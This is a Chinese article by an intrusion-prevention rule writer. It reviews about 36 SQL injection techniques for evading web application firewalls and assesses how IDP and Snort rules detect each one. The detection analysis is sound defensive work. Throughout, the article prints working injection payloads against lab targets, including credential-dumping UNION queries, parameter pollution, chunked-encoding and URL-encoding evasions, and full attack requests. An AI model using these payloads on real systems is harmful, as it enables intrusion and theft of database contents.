前言

最近看暗月系統的講述了SQL繞WAF的思路，就想著這些繞過方式對我們IDP作用幾何？所以記錄了這篇文章，以IDP的角度來分析反繞過，
?

IDP的規則有多種分類方式，這里我就將其分為普通規則與通用規則，

• 普通規則就是針對某系統的某漏洞進行精準匹配，
• 通用規則就是針對某種攻擊行為進行專門防御，

在測驗上，我會拿本地的IDS工具snort做測驗，最后會拿公司的IDP設備，搭配公司的IDP規則庫做測驗，
?

其他：
IPS（Intrusion Prevention System），即入侵防御系統，有時又稱IDP（Intrusion Detection and Prevention）,即入侵檢測和防御系統，指具備IDS的檢測能力，同時在線部署在網路中、具備實時中止網路入侵的安全技術設備，
總結：
IDS是檢測系統，IPS是其升級版（別名IDS，我們內部自稱IDP）
?

最后：
文章的重點，其實是聊一聊SQL注入攻擊中，有哪些攻擊方式是產品的軟肋，是產品不能防御，以及難以防御的，如：

1. 多處截斷：scr%00ipt ，我難道得寫成 pcre:"/s(%00)?c(%00)?r(%00)?i(%00)?p(%00)?t/i"？這就要求產品可以對資料規范化處理，
2. 檔案上傳的內容做了base64編碼，尤其是一句話木馬的那種，要求產品具備決議請求體的能力，
3. 目錄遍歷中，面對./.././../.../這種攻擊形式，要求產品具備規范化請求頭的能力，

1. 空格字符繞過

IDP角度分析：
實際意義不大，這種空格繞過出現在請求頭里面，可以使用uricontent關鍵字匹配規范化之后的 URI 請求欄位

• %09 TAB 鍵（水平）
• %0a 新建一行
• %0b TAB 鍵（垂直）
• %0c 新的一頁
• %0d return 功能
• %a0 空格
• %00
• /**/

2. 大小寫繞過

IDP角度分析：
實際意義不大，規則一般都是不區分大小寫的

將字串設定為大小寫，例如 and 1=1 轉成 AND 1=1 AnD 1=1
01 獲取敏感資訊，使用命令：

http://192.168.239.132/sqli-labs-master/Less-27/?id=999999%27%0AuNIon%0ASeLecT%0A1,version(),3%0Aand%0A%271

02 獲取賬號密碼，使用命令：

http://192.168.239.132/sqli-labs-master/Less-27/?id=9999999%27%09UniOn%09SeLeCt%091,(SelEct%09group_concat(username,password)from%09users),3%09and%20%271

3. 浮點數繞過

繞過

原理如下圖，當然，你要是來個id=1.1肯定是不行的，

IDP角度分析

實際意義不大，雖然對通用型規則無效（通用型規則注重的是攻擊特征），但是在針對某系統的漏洞點上，有些不成熟的規則可能會把路徑與攻擊特征合并到一起，在別的攻擊方式上可能存在繞過，但是在SQL注入上，不會出現，
原因：如果規則是如下圖，確實可以實作浮點型繞過，但是SQL注入中往往會出現id=-1'，所以正則如果能寫成id=\d+的絕對是個菜雞，

4. NULL值繞過

繞過

select \N; 代表** null，**可以通過插入空值的方式進行繞過，

使用命令：

http://192.168.239.132/sqli-labs-master/Less-1/?id=\N%27union%20select%20user(),\N,3--+

IDP角度分析

意義不大，在SQL防御中，union、select這種詞匯，有時候可能是別的詞匯中的一部分，如unionMisPosDivIgnore、selectManangeType，因此寫規則的時候務必使用\b限制字符邊界，但即便如此，規則的書寫也是多樣的，如下兩種，我根本不care你的空值繞過：

alert tcp any any -> any any (msg:"NULL反繞過-方式1"; flow:to_server; uricontent:"/sqli-labs-master/Less-1/?id"; uricontent:"union select"; metadata:service http; sid:1; rev:1;)
alert tcp any any -> any any (msg:"NULL反繞過-方式2"; flow:to_server; pcre:"/sqli-labs-master\x2fless-1\x2f\x3fid=.*?union\b\s+\bselect\b/iU"; metadata:service http; sid:2; rev:1;)

5. 引號繞過

IDP角度分析：
情況同第4節的NULL值繞過，我根本不關心你是單引號還是雙引號，我關心的是有沒有SQL注入陳述句，

如果 waf 攔截過濾單引號的時候，可以使用雙引號，在 mysql 里也可以用雙引號作為字串，

6. HEX繞過

IDP角度分析：
情況同第4節的NULL值繞過，我根本不關心你有沒有做編碼，我關心的是有沒有SQL注入陳述句，

可以將字串轉換成 16 進制再進行查詢，

如果 gpc 開啟了，但是注入點是整形，也可以用十六進制來繞過

1. 原始狀態：

select * from users where id=-1 union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema=database() AND TABLE_NAME='users' limit 1);

2. 改為16進制

select * from users where id=-1 union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema=database() AND TABLE_NAME=0x7573657273 limit 1)

7. 添加庫名繞過

IDP角度分析：
規則不會關心你要查詢哪個庫的哪個表，這種繞過對IDP完全無效

以下兩條查詢陳述句，執行的結果是一致的，但是有些waf 的攔截規則并不會攔截**[庫名].[表名]**這種模式，

8. 去重復繞過?

在 **mysql **查詢可以使用 **distinct **去除查詢的重復值，可以利用這點突破 waf 攔截，
命令如下：

select * from users where id=-1 union distinct select 1,2,3 from users;
select * from users where id=-1 union distinct select 1,2,version() from users;

繞過

實操效果：?id=-1' union distinct select 1,2,version() from users--+

IDP角度分析

一種行之有效的繞過思路，以snort為例，精準匹配漏洞的普通規則一般可能簡單的寫成：
uricontent:"union select";或者正則寫成\x3fid=.*?union\b\s+\bselect\b
這個時候就存在繞過的可能，

但這種繞過對通用型規則仍然無效，攻擊行為中的關鍵字仍然可以被通用型規則捕獲到，普通規則可能因為規則簡單存在繞過的可能，但也可以通過提取注入的關鍵字進行防御，如下，

9. 反引號繞過

IDP角度分析：
情況同第4節的NULL值繞過，我根本不關心你是有沒有反引號，我關心的是有沒有SQL注入陳述句，

在 mysql 可以使用 ```繞過一些 waf 攔截，欄位可以加反引號或者不加，意義相同，

命令：?id=-1' union distinct select 1,2,version() fromusers--+

10. 腳本語言特性繞過

在 php 語言中 id=1&id=2 后面的值會自動覆寫前面的值，不同的語言有不同的特性，可以利用這點繞過一些 waf 的攔截，如 id=1%00&id=2 union select 1,2,3，
?

有些 waf 回去匹配第一個 id 引數 1%00 ，%00 是截斷字符，waf 會自動截斷，從而不會檢測后面的內容，到了程式中 id 就是等于 id=2 union select 1,2,3 從繞過攔截，
?

其他語言特性：

繞過

使用命令（下面兩種命令作用一樣）：
?id=%00&id=-1' union distinct select 1,2,version() fromusers--+
?id=11%00&id=-1' union distinct select 1,2,version() fromusers--+

IDP角度分析

關鍵字依然存在，依然可以被通用型規則攔截；普通規則也可以輕松攔截，如下：

alert tcp any any -> any any (msg:"截斷繞過"; flow:to_server; uricontent:"sqli-labs-master/Less-1/?id"; nocase; pcre:"/\x3fid=.*?union\b.*?\bselect\b/iU"; metadata:service http; sid:1; rev:1;)

說白了，snort攔截是沒問題的，只是規則的開發人員是否有足夠的經驗和安全意識，

11. substr 截取字串?

原理如下，通過截取字串來進行sql注入，甚至可以通過轉成16進制避免出現單引號，

繞過

使用命令（下面兩條命令作用一樣）：
?id=1' and (select(substr(database() from 1 for 1)))=0x73--+
?id=1' and (select(substr(database() from 1 for 1)))='s'--+

失敗的話會回傳別的頁面樣式，

IDP角度分析

仍然存在關鍵字，對通用型規則無效，對普通規則有效，
出于性能的需求，普通規則不會做太多放繞過的設定，否則每條普通規則都拿全面防御來要求自己，設備就等著死翹翹吧，對于SQL注入，甚至別的攻擊形式，普通規則的姿態是攔截常見的攻擊形式，如常見的聯合查詢，對于這種截取字串的注入形式，可以單獨開發針對截取字串的通用型規則，

12. mid 截取字串?

IDP角度分析：
情況同第11節，不再贅述

這個 mid函式跟 substr 函式功能相同，如果 substr 函式被攔截或者過濾，可以使用這個函式代替，
使用命令：?id=1' and (select(mid(database() from 1 for 1)))=0x73--+

12. 使用join繞過

IDP角度分析：
存在常用的union select兩個關鍵字，別說通用規則，普通規則都繞不過去

使用 join 連接兩個表
用法：
union select 1,2 等價于 union select * from (select 1)a join (select 2)b
（a 和 b 分別是表的別名）

使用命令：
?id=-1' union select * from (select 1)a join (select user())b join(select 3)c--+

13. like繞過?

IDP角度分析：
情況同第11節，不再贅述

使用 like 模糊查詢 select user() like '%r%'; 模糊查詢成功回傳 1， 否則回傳 0

找到第一個字符后繼續進行下一個字符匹配，從而找到所有的字串 最后就是要查詢的內容，這種 SQL 注入陳述句也不會存在逗號，從而繞過 waf 攔截，但是對IDP就不行了，
使用命令：
?id=1' and (select user() like '%root%')--+

14. limit offset 繞過

IDP角度分析：
我IDP就不關心逗號問題

SQL 注入時，如果需要限定條目可以使用 limit 0,1 限定回傳條目的數目是一條，如果對逗號進行攔截時，可以使用 limit 1 默認回傳第一條資料，也可以使用 limit 1 offset 0 從零開始回傳第一條記錄，這樣就繞過 waf 攔截了，

使用命令：
?id=-1'union select 1,2,version() limit 1 offset 0--+

15. or and xor not 繞過?

IDP角度分析：
情況同第11節，不再贅述

目前主流的 waf 都會對 id=1 and 1=2、id=1 or 1=2、id=0 or 1=2、id=0 xor 1=1 limit 1 、id=1 xor 1=2 這些常見的 SQL 注入檢測陳述句進行攔截，這里有一些替代字符轉換，可以嘗試繞過，

• and 等于&&
• or 等于 ||
• not 等于 !
• xor 等于|

所以可以轉換成這樣

• id=1 and 1=1 等于 id=1 && 1=1
• id=1 and 1=2 等于 id=1 && 1=2
• id=1 or 1=1 等于 id=1 || 1=1
• id=0 or 1=0 等于 id=0 || 1=0

?

1. 舉個小例子：

2. 開始猥瑣：

select * from users where id not in (2,3);
select * from users where id in (2,3);

3. 開始變態：

select * from users where id=1 && 2=1+1;
select * from users where id=1 && 2=1-1;

使用命令：?id='not in (2,3)--+

16. ascii 字符繞過?

IDP角度分析：
情況同第11節，不再贅述

思路就是把第11、12節中截取出來的字符轉為ascii碼，來避開聯合查詢注入，
命令：

select substring(user(),1,1);
select * from users where id=1 and substring(user(),1,1)='r';
select * from users where id=1 and ascii(substring(user(),1,1))=114;

最好把 r 換成 ascii 碼 如果開啟 gpc int 注入就不能用了，可以看到構造的 SQL 攻擊陳述句沒有使用聯合查詢(union select)也可以把資料查詢出來，

注入命令：?id=1' and ascii(substring(user(),1,1))=114--+

17. 等號繞過?

IDP角度分析：
情況同第11節，不再贅述

如果程式會對=進行攔截 可以使用 like、rlike、regex或者使用< 、>
原始資訊：

1. < 、>繞過

select * from users where id=1 and ascii(substring(user(),1,1))<115;
select * from users where id=1 and ascii(substring(user(),1,1))>115;

繞過測驗：?id=1' and ascii(substring(user(),1,1))<115--+

?

2. like、rlike繞過

select * from users where id=1 and (select substring(user(),1,1)like 'r%');
select * from users where id=1 and (select substring(user(),1,1)rlike 'r');

3. regex繞過

命令：

select * from users where id=1 and 1=(select user() regexp '^r');
select * from users where id=1 and 1=(select user() regexp '^a');

18. 雙關鍵詞繞過

IDP角度分析：
此處要看客戶是怎么部署產品的了

有些程式會對單詞 union、 select 進行轉空，但是只會轉一次這樣會留下安全隱患，雙關鍵字繞過（若洗掉掉第一個匹配的 union 就能繞過）如：
id=-1'UNIunionONSeLselectECT1,2,3--+到資料庫里執行會變成 id=-1'UNION SeLECT1,2,3--+ ，從而繞過攔截，

19. 二次編碼繞過

IDP角度分析：
多重編碼對IDP完全無效，

有些程式會決議二次編碼，造成 SQL 注入，url 經過兩次編碼過后，waf 是不會攔截的，
特意問了下隔壁的WAF部門，這種問題不存在，除非再多來好幾次編碼才行，IDP也有回應的關鍵字對其決議，詢問產品部之后得知，設備可以把N次解碼的URL直接解碼到原始狀態，

20. 多引數拆分繞過

IDP角度分析：
參見第4節，IDP看關鍵字，出現即可攔截

使用引數拆份，來嘗試繞過 waf 攔截，

21. 生僻函式繞過

IDP角度分析：
情況同第11節，不再贅述

使用生僻函式替代常見的函式，例如在報錯注入中使用 polygon()函式替換常用的updatexml()函式
and polygon (()select * from(select user ())a)b );

22. 分塊傳輸繞過?????

背景知識

1. 什么是 chunked 編碼？

分塊傳輸編碼（Chunked transfer encoding）是只在 HTTP 協議 1.1 版本（HTTP/1.1）中提供的一種資料傳送機制，以往 HTTP 的應答中資料是整個一起發送的，并在應答頭里 Content-Length 欄位標識了資料的長度，以便客戶端知道應答訊息的結束，
?

傳統的 Content-length 解決方案：計算物體長度，并通過頭部告訴對方，瀏覽器可以通過 Content-Length 的長度資訊，判斷出回應物體已結束，
?

Content-length 面臨的問題：由于 Content-Length 欄位必須真實反映物體長度，但是對于動態生成的內容來說，在內容創建完之前，長度是不可知的，這時候要想準確獲取長度，只能開一個足夠大的 buffer，等內容全部生成好再計算，這樣做一方面需要更大的記憶體開銷，另一方面也會讓客戶端等更久，因此我們需要一個新的機制：不依賴頭部的長度資訊，也能知道物體的邊界——分塊編碼（Transfer-Encoding: chunked），
?

對于動態生成的應答內容來說，內容在未生成完成前總長度是不可知的，因此需要先快取生成的內容，再計算總長度填充到 Content-Length，再發送整個資料內容，這樣顯得不太靈活，而使用分塊編碼則能得到改觀，分塊傳輸編碼允許服務器在最后發送訊息頭欄位，例如在頭中添加散列簽名，對于壓縮傳輸傳輸而言，可以一邊壓縮一邊傳輸，
二、如何使用 chunked 編碼
如果在 http 的訊息頭里 Transfer-Encoding 為 chunked，那么就是使用此種編碼方式，接下來會發送數量未知的塊，每一個塊的開頭都有一個十六進制的數,表明這個塊的大小，然后接 CRLF("\r\n")，然后是資料本身，資料結束后，還會有CRLF("\r\n")兩個字符，有一些實作中，塊大小的十六進制數和 CRLF 之間可以有空格，最后一塊的塊大小為 0，表明資料發送結束，最后一塊不再包含任何資料，但是可以發送可選的尾部，包括訊息頭欄位，訊息最后以 CRLF 結尾，在頭部加入 Transfer-Encoding: chunked 之后，就代表這個報文采用了分塊編碼，這時，報文中的物體需要改為用一系列分塊來傳輸，
?

理論太費勁，直接看效果就明白了，來到pikachu靶場，攔截一個包，如下：

來到重放模塊，修改為分塊傳輸
首先在 http 頭加上 Transfer-Encoding: chunked 表示分塊傳輸傳送，第一行是長度，第二行是字串，0 表示傳輸結束，后面跟上兩個換行，

繞過

實操哪能這么麻煩，直接下載分塊傳輸的插件，Chunked coding converter
插件主頁：https://github.com/c0ny1/chunked-coding-converter

插件下載地址：https://github.com/c0ny1/chunked-coding-converter/releases/tag/0.4.0

重新抓個新的包，然后發送到重放模塊，
使用命令：id=-1 union select 1,user()--+&submit=%E6%9F%A5%E8%AF%A2注入成功

使用插件嘗試分塊傳輸：

編碼之后的請求包內容如下：
以第16行為例，數字后面跟了個分號，分號后面跟了一些奇怪的字符，這些字符的作用可有可無，主要是用來充當垃圾字符，來繞WAF的

POST /pikachu-master/vul/sqli/sqli_id.php HTTP/1.1
Host: 192.168.40.134
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 612
Origin: http://192.168.40.134
Connection: close
Referer: http://192.168.40.134/pikachu-master/vul/sqli/sqli_id.php
Cookie: PHPSESSID=vqnrl5gph11bi2fj51crv2t562
Upgrade-Insecure-Requests: 1
Transfer-Encoding: chunked

3;6VxWOUqyc9Tf9sH
id=
2;rVtP0HWnCbPaDrPYMfIz2IC
-1
2;oHZGf
 u
3;UkBTycx1hrm
nio
3;tfrsHZ4OSnPndOQ
n s
1;DWXgQ6a97QqX9AyNNjf28FQYV
e
2;BoOig
le
2;gUpeTgn5WX
ct
3;xc8BkXjsrZaBJE8fIPM6hEX8
 1,
3;hmrjicGd3wt4EMUqAWm8
use
1;EW6PjJNgSeyi
r
3;C4PINq3e5iO9H
()-
1;2r5rqNfOe06ovmrzW
-
2;ZG67X9TzI7q80Iz3J6H
+&
1;iRO44Zcxg
s
3;FOGhTEPEMOUefgPxDg
ubm
1;KVy4cP
i
2;u3knvL0umlu
t=
2;j7khCd90yPsV0mM6hgP
%E
1;w1GtHTTPwjCiRofa29M9lYaF
6
3;pAIfQWqFSUf5sKY7Wxuo
%9F
1;uPGAtCEgorhawRhQ
%
2;fSDMt9ON
A5
3;63pqpL9k5sst
%E8
2;NSrls
%A
3;31mziTeE
F%A
1;gWou0rCzvggTycs0ogb
2
0

經過分塊傳輸的改寫后，依然成功注入

IDP角度分析😱

在資料包明文中已經找不到原始的關鍵詞union、select了！！！（請求包的內容同上面的代碼塊中的內容）
這個時候已經越過了snort支持的范圍，需要設備自己有相關的能力，
?

如果仍然想要進行檢測，也有一些思路，如果是手工做轉碼的話，會存在union、select關鍵字，正則使用s修飾符做多行匹配即可，如果是使用此插件的話，union、select關鍵字消失了，可以通過開發針對此插件的規則，但是有誤報的可能，并且實際意義不大，

23. 白名單繞過

IDP角度分析：
沒關心過

有些 WAF 會自帶一些檔案白名單，對于白名單 waf 不會攔截任何操作，所以可以利用這個特點，可以試試白名單繞過，白名單通常有目錄：

• /admin
• /phpmyadmin
• /admin.php

?

普通的注入：?id=-1' union select 1,2,version()--+

加了白名單的注入：?id=/admin.php?&id=-1' union select 1,2,version()--+
其實就是把原本的?id=-1'修改為?id=/admin.php?&id=-1'
關于為啥可以這樣寫，請參看第15節

24. 靜態檔案繞過

IDP角度分析：
沒關心過

除了白名單信任檔案和目錄外，還有一部分 waf 并不會對靜態檔案進行攔截， 例如 圖片檔案 jpg 、png 、gif 或者 css 、js 會對這些靜態檔案的操作不會 進行檢測從而繞過 waf 攔截，
?

攻擊思路和攻擊方法完全同上一節，利用了第15節的&來添加一些靜態檔案，嘗試繞過
普通的注入：?id=-1' union select 1,2,version()--+

現在的注入：?id=/test.jpg?&id=-1' union select 1,2,version()--+
其實就是把?id=-1'修改為?id=/test.jpg?&id=-1'

甚至可以改成這種：?hack.js?&id=-1' union select 1,2,version()--+

25. pipline 繞過注入

http 協議是由 tcp 協議封裝而來，當瀏覽器發起一個 http 請求時，瀏覽器先和服務器建立起連接 tcp 連接，然后發送 http 資料包（即我們用 burpsuite 截獲的資料），其中包含了一個 Connection 欄位，一般值為 close，apache 等容器根據這個欄位決定是保持該 tcp 連接或是斷開，當發送的內容太大，超過一個 http 包容量，需要分多次發送時，值會變成 keep-alive，即本次發起的 http 請求所建立的 tcp 連接不斷開，直到所發送內容結束 Connection 為 close 為止，
?

看著挺復雜的，其實操作起來沒那么麻煩，

繞過

這里需要POST形式的，以sqli-labs靶場第11關為例
普通注入：

uname=' union select(select group_concat(table_name) from information_schema.tables where table_schema=database()),2#&passwd=123&submit=Submit

** pipline注入：**
首先先捕獲一個普通的POST包

1. 把 brupsuite 自動更新 Content-Length 勾去掉，

2. 復制請求包，粘貼一下，
   

3. 設定payload，并獲取其長度
   
   

4. 修改Content-Length和Connection

IDP角度分析

攻擊特征原樣的存在，對IDP完全沒作用

26. multipart/form-data 繞過

IDP角度分析：
攻擊特征原樣的存在，對IDP完全沒作用

在 http 頭里的 Content-Type 提交表單支持三種協議：

• application/x-www-form-urlencoded 編碼模式 post 提交
• multipart/form-data 檔案上傳模式
• text/plain 文本模式

檔案頭的屬性是傳輸前對提交的資料進行編碼發送到服務器，其中 multipart/form-data 表示該資料被編碼為一條訊息，頁上的每個控制元件對應訊息中的一個部分，所以，當 waf 沒有規則匹配該協議傳輸的資料時可被繞過，

27. order by繞過

IDP角度分析：
情況同第11節，不再贅述

當 order by 被過濾時，無法猜解欄位數，此時可以使用 into 變數名進行代替，

使用命令：?id=1' into @a,@b,@c--+

使用命令：?id=1' into @a,@b--+

28. http 相同引數請求繞過??

waf 在對危險字符進行檢測的時候，分別為 post 請求和 get 請求設定了不同的匹配規則，請求被攔截，如果程式中能同時接收get、post，變換請求方式有幾率能繞過檢測，

IDP角度分析

有繞過可能，對普通規則可能有效，對通用型規則無效，
通用性規則主要檢查的是有沒有攻擊行為，因此對通用性規則無效，普通規則在匹配漏洞的時候，出于性能考慮，會添加一些修飾符，告訴設備漏洞點在什么位置，如：http_method 會指明HTTP方法，如果原本是GET方法的攻擊，改成了POST方法，會導致http_method被繞過，出現資料內容與規則不符合，更不用說uricontent、 http_uri 這種限制url內容的關鍵字了，

29. application/json 或者 text/xml繞過

IDP角度分析：
攻擊特征原樣的存在，對IDP完全沒作用

有些程式是 json 提交引數，程式也是 json 接收再拼接到 SQL 執行， json 格式通常不會被攔截，所以可以嘗試繞過 waf，
如下面形式的資料包：

POST /06/vul/sqli/sqli_id.php HTTP/1.1
Host: 192.168.0.115
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type:application/json
Content-Length: 38
Origin: http://192.168.0.115
Connection: close
Referer: http://192.168.0.115/06/vul/sqli/sqli_id.php
Cookie: PHPSESSID=e6sa76lft65q3fd25bilbc49v3; security_level=0
Upgrade-Insecure-Requests: 1

{'id':1 union select 1,2,3,'submit':1}

30. 大量字符繞過??

IDP角度分析：
有一定繞過的可能，資料包幀頭過長時可能會超過設備的檢測深度，導致繞過

可以使用 select 0xA 運行一些字符從繞突破一些 waf 攔截，如：

id=1 and (select 1)=(select 0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA)/*!union*//*!select*/1,user()

31. 花括號繞過

IDP角度分析：
攻擊特征原樣的存在，對IDP完全沒作用

select 1,2 union select{x 1},user()
花括 左邊是注釋的內容，這樣可以一些 waf 的攔截，
?

使用命令：?id=-1' union select {x 1},2,version()--+

32. 使用 ALL 或者 DISTINCT 繞過?

IDP角度分析：
情況同第11節，不再贅述

其中，DISTINCT與select的順序可以調換
select 1,2,3 from users where id=1 union DISTINCT select 1,2,3;
select 1,2,3 from users where id=1 union select DISTINCT 1,2,3;

其中，all與select的順序可以調換
select 1,2,3 from users where id=1 union all select 1,2,3;
select 1,2,3 from users where id=1 union select all 1,2,3;

使用命令：?id=-1' union DISTINCT select 1,version(),3--+

33. 換行混繞繞過??

目前很多 waf 都會對 union select 進行過濾，因為聯合查詢使用了這兩個關鍵詞，一般過濾這個兩個字符，想用聯合查詢就很難了，可以使用換行 加上一些注釋符進行繞過，

普通的注入查詢如下：

使用換行繞過：

1. 直接換行

2. 加上垃圾字符

繞過

GET型
使用命令：?id=-1' union /*sdfqwdsgs123456*/select 1,version(),3--+

POST型
選用sqllib第11關
payload：

uname=' union select
/*
sdf

123456789
qwejiknklfnaltkkoi
*/(select group_concat(table_name) from information_schema.tables where table_schema=database()),2#&passwd=123&submit=Submit

IDP角度分析

GET型捕獲的資料包如下圖，設備是可以直接攔截的：

POST型捕獲的資料包如下圖：

規則中使用多行匹配模式依然可以檢查出攻擊，之所以給了兩顆星，是因為很多時候，基于性能考慮，規則沒有使用多行匹配模式，導致存在繞過的可能，

34. HTTP 資料編碼繞過

IDP角度分析：
沒關心過，可以攔截，

編碼繞過在繞 waf 中也是經常遇到的，通常 waf 只堅持他所識別的編碼，比如說它只識別 utf-8 的字符，但是服務器可以識別比 utf-8 更多的編碼，那么我們只需要將 payload 按照 waf 識別不了但是服務器可以決議識別的編碼格式即可繞過，
?

比如請求包中我們可以把Content-Type中的charset的引數值改為ibm037，這個協議編碼有些服務器是支持的，

35. URL編碼繞過?????

對字符做URL編碼，

IDP角度分析😱

這種攻擊方式，對snort來說是致命打擊，因為snort最多是使用http_client_body做解碼，目前不支持使用正則解碼！
如果是把 ' 轉成 %27，這種尚且能使用邏輯或進行匹配，但是如果對單詞做了編碼，只能看IDP是否支持請求體解碼了，

36. Unicode 編碼繞過?????

IDP角度分析：
情況同第35節，snort無解

如下圖，把payload轉為unicode編碼

實戰測驗

由于可以理解的原因，這里不對外公布，
?